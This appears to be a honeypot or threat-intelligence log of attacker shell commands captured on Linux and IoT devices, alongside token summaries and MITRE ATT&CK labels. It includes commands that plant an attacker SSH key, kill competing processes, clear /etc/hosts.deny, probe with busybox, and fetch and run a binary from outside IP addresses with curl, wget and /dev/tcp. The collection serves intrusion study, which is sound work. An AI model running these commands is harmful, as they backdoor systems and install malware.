('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print ; }', 'w', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZICCY

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')

T1016 System Network Configuration Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HKFZF


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')

T1222 File and Directory Permissions Modification


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash')


/bin/busybox cat /proc/self/exe || cat /proc/self/exe

('sh', 'shell', 'enable', 'system', 'ping ; sh', 'kill', 'nan', '/bin/busybox cat || cat')


cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai

sh -c 'for proc_dir in /proc/[0-9]*; do pid=${proc_dir##*/}; buffer=$(cat "/proc/$pid/maps"); if [ "${#buffer}" -gt 1 ]; then if [ "${buffer#*"/lib/"}" = "$buffer" ] && [ "${buffer#*"/lib64/"}" = "$buffer" ] && [ "${buffer#*"dvrLocker"}" = "$buffer" ]; then kill -9 "$pid"; fi; fi; done'

('enable', 'system', 'shell', 'sh', 'linuxshell', 'cd ; echo > ; cat ; rm -rf', 'rm -rf ; wget || curl -O || tftp -c || tftp -g -r ; chmod ; ./ ; rm -rf', 'sudo', 'rm -rf sh ; wget || curl -O || tftp -c sh || tftp -g -r sh ; chmod sh ; ./ ; rm -rf sh', 'sh -c for [ ] ; do { } ; ( cat ) ; if if [ { } -gt ] ; then if if [ { } ] && [ { } ] && [ { } ] ; then kill -9 ; fi ; fi ; done', 'for [ ] ; do { } ; ( cat ) ; if if [ { } -gt ] ; then if if [ { } ] && [ { } ] && [ { } ] ; then kill -9 ; fi ; fi ; done', 'rm -rf sh ; wget || curl -O || tftp -c sh || tftp -g -r sh ; chmod sh ; ./ ; rm -rf sh')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'top', 'uname', 'uname', 'whoami', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OWQZP


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QPUTH


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;

('./ ; dd if || while ; do echo ; done || cat ;',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RLVOJ


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KUAKO

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XJZXO


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'echo | chpasswd | bash', 'df -h | head -n | awk { print ; }')


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cd ; chattr -ia ; lockr -ia', 'cat | grep | wc -l')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'df -h | head -n | awk { print ; }')


echo "/bin/busybox ERTJJ" | sh
/bin/busybox ERTJJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TYSQA


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JKMGV

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LJRKK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MXZCF


('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cat /bin/echo||while read i; do echo $i; done < /proc/self/exe;

('sh', 'shell', 'enable', 'cat || while ; do echo ; done ;')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


nohup $SHELL -c "curl http://47.76.189.75:60108/linux -o /tmp/PlM2UlUdtN; if [ ! -f /tmp/PlM2UlUdtN ]; then wget http://47.76.189.75:60108/linux -O /tmp/PlM2UlUdtN; fi; if [ ! -f /tmp/PlM2UlUdtN ]; then exec 6<>/dev/tcp/47.76.189.75/60108 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/PlM2UlUdtN && chmod +x /tmp/PlM2UlUdtN && /tmp/PlM2UlUdtN pWZFFKUjXQ5atbgpLaevWwVaPawWRmbQxnRFFbM/WQ9No7skKLmqVwdMPK8bWnfc3GhFGq0jXglZrbkvLr67Ug1cI6oSWn/QxnRAE6c7XA5Tq6kvLLm1VA9CNKsMRX/e0nBEE609TAdNqbgpMLiiVhFZN6sSRXTQyHJHDK8/WRFWo6cnKLOtUw5eNb0TQXLG2ndHDKw1QghQob8uL7upQwtbI6wSTWjb32hFE603Wg9Sr7A+LbC1UglZI6wWQ2jR0HxCEqw/WR9XrKcpKKesVBFdNaoYQnbZ23FUGrM/XQhNqrkwJ7GhVQ9dPakCQnfG2XBEDK88XxFRqLAkKLmqUw5MPKgWWnfaxnRHDK83Wg9SqrE+Kr61VAlCPKUbWnHd0nBEE601TAdNqbgpMLuuUxFUP6cURHfc0GZFEKgjVAdNqbsoML2tWQlcPK8TVHfY22hFEakjVAZNqronJL+rUgxZLaUMRnTaxndCFLM+WwVVq7gtKKmqVg9CP68RWnHaxndAEac7XA5To6kqKaesVRFdNaQMRXbf0nBEE6k+TA5UqqcsL721UBFdPakYQnbZ3H5UE680Qg1SqqcqKKejVwVaPawRTWbZ3XJaE68jXgxNqbMoLriqWx9aObMQRnHG2nRaFag3Wg9Sqbo+Kr61UQxaI6wURGjZ0nBEE6w6TA5RqacsLL+1VwZCP60QTnDY2XZHAqUjXg5UtbgnK6euWQlcPK8aVHfZ2GhFGqwjXQlNrLwkKLmqUQZMOaoMQ3DG2X5NDKo4VglTqrkm/9hhkmpfcungxSeYhq5eg9YeUvewFZ4XbHQ=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/PlM2UlUdtN && /tmp/PlM2UlUdtN pWZFFKUjXQ5atbgpLaevWwVaPawWRmbQxnRFFbM/WQ9No7skKLmqVwdMPK8bWnfc3GhFGq0jXglZrbkvLr67Ug1cI6oSWn/QxnRAE6c7XA5Tq6kvLLm1VA9CNKsMRX/e0nBEE609TAdNqbgpMLiiVhFZN6sSRXTQyHJHDK8/WRFWo6cnKLOtUw5eNb0TQXLG2ndHDKw1QghQob8uL7upQwtbI6wSTWjb32hFE603Wg9Sr7A+LbC1UglZI6wWQ2jR0HxCEqw/WR9XrKcpKKesVBFdNaoYQnbZ23FUGrM/XQhNqrkwJ7GhVQ9dPakCQnfG2XBEDK88XxFRqLAkKLmqUw5MPKgWWnfaxnRHDK83Wg9SqrE+Kr61VAlCPKUbWnHd0nBEE601TAdNqbgpMLuuUxFUP6cURHfc0GZFEKgjVAdNqbsoML2tWQlcPK8TVHfY22hFEakjVAZNqronJL+rUgxZLaUMRnTaxndCFLM+WwVVq7gtKKmqVg9CP68RWnHaxndAEac7XA5To6kqKaesVRFdNaQMRXbf0nBEE6k+TA5UqqcsL721UBFdPakYQnbZ3H5UE680Qg1SqqcqKKejVwVaPawRTWbZ3XJaE68jXgxNqbMoLriqWx9aObMQRnHG2nRaFag3Wg9Sqbo+Kr61UQxaI6wURGjZ0nBEE6w6TA5RqacsLL+1VwZCP60QTnDY2XZHAqUjXg5UtbgnK6euWQlcPK8aVHfZ2GhFGqwjXQlNrLwkKLmqUQZMOaoMQ3DG2X5NDKo4VglTqrkm/9hhkmpfcungxSeYhq5eg9YeUvewFZ4XbHQ=" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'o')

T1005 Data from Local System
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TXVEE

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AYZOZ


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TPWXE

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EVFYR

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KWNQA

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MFHGC


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('./ ; dd if || while ; do echo ; done || cat ;',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XGDIX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EOOCK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VLTTQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SPCBA

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GMALC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OHSWQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QRQJU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BUKKS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DNXZC


nohup $SHELL -c "curl http://8.217.220.197:60144/linux -o /tmp/W9XcJlQK8U; if [ ! -f /tmp/W9XcJlQK8U ]; then wget http://8.217.220.197:60144/linux -O /tmp/W9XcJlQK8U; fi; if [ ! -f /tmp/W9XcJlQK8U ]; then exec 6<>/dev/tcp/8.217.220.197/60144 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/W9XcJlQK8U && chmod +x /tmp/W9XcJlQK8U && /tmp/W9XcJlQK8U VVMavSBa4sDZIPDuLdnU41sjpxpTKSpKDKImX/vf0yXu8iPR2OVaIqQCQi4gXROiK0Xk2dg79Pgv3d7kXyCzGl0qKUoMoidb+9zYLPr2Jdrd7UsqvRBCITZGE70gXuDU3SXx8yzL3+RZPKoTXSkpQgyiKlLv2Nsk8fA12tbnRSOmE10tK10QoitR497aJfDgI9rA5F0ivRBCKzZBEaooXeXf2yTg9CLF3OZTPKIURTYsShilIlrm2csn8PM72N37WSCmDEQoIkUSoiFc9dbFJ/H3O9rX4EUnqRRDKSpLAqIgW/vZ2zv59jva1+NRJKMTQyg4RxW9IFjjwNoh9O4n2trvXSKiFko4LUsMoSJS+9zYIe75I9HY5VohowJLNipCFb0gWeXA2iz3+iPb3+FfMqIXQzYqQRG9JFv7390k+vYl2t3jSyakDEQuNkIWozxa59fRI/DxJNjO4Vw8oRFFNilFFr0lUu/Y2yTw8jXf2ftSJ70QQSo2QROrKF3l39si4PEh3MDhXjykFV0vKkkUoyNa4s7fIu73I8Xf7VI8ohJEIi5DE6chS+Tf2Tv58Tva3+RFI6sbSS4oQhOjMlrn28Uk8vQ72dznRSOkEkkuKEITojJa7dzFJPXxO97d+1kjqhhFKClDErMmXPvZ3Tvx9CXF3+dSKKUSQikrUxq9I1jhwNok8u4n397vXSKiE0I4LEAMoiFf+9/cIe7yId/U41sjpxFTKzZLGr0jUuzA2iLx+iPb3+FbMqcVXSorRQyiJF/72dIv9vAk29z1XyW9EEAuNkIUozxa79jbJPH39Lys8IJIy62pxYVF0EJDHiOQY47P7Hhu; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/W9XcJlQK8U && /tmp/W9XcJlQK8U VVMavSBa4sDZIPDuLdnU41sjpxpTKSpKDKImX/vf0yXu8iPR2OVaIqQCQi4gXROiK0Xk2dg79Pgv3d7kXyCzGl0qKUoMoidb+9zYLPr2Jdrd7UsqvRBCITZGE70gXuDU3SXx8yzL3+RZPKoTXSkpQgyiKlLv2Nsk8fA12tbnRSOmE10tK10QoitR497aJfDgI9rA5F0ivRBCKzZBEaooXeXf2yTg9CLF3OZTPKIURTYsShilIlrm2csn8PM72N37WSCmDEQoIkUSoiFc9dbFJ/H3O9rX4EUnqRRDKSpLAqIgW/vZ2zv59jva1+NRJKMTQyg4RxW9IFjjwNoh9O4n2trvXSKiFko4LUsMoSJS+9zYIe75I9HY5VohowJLNipCFb0gWeXA2iz3+iPb3+FfMqIXQzYqQRG9JFv7390k+vYl2t3jSyakDEQuNkIWozxa59fRI/DxJNjO4Vw8oRFFNilFFr0lUu/Y2yTw8jXf2ftSJ70QQSo2QROrKF3l39si4PEh3MDhXjykFV0vKkkUoyNa4s7fIu73I8Xf7VI8ohJEIi5DE6chS+Tf2Tv58Tva3+RFI6sbSS4oQhOjMlrn28Uk8vQ72dznRSOkEkkuKEITojJa7dzFJPXxO97d+1kjqhhFKClDErMmXPvZ3Tvx9CXF3+dSKKUSQikrUxq9I1jhwNok8u4n397vXSKiE0I4LEAMoiFf+9/cIe7yId/U41sjpxFTKzZLGr0jUuzA2iLx+iPb3+FbMqcVXSorRQyiJF/72dIv9vAk29z1XyW9EEAuNkIUozxa79jbJPH39Lys8IJIy62pxYVF0EJDHiOQY47P7Hhu" &#UPX!


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;')


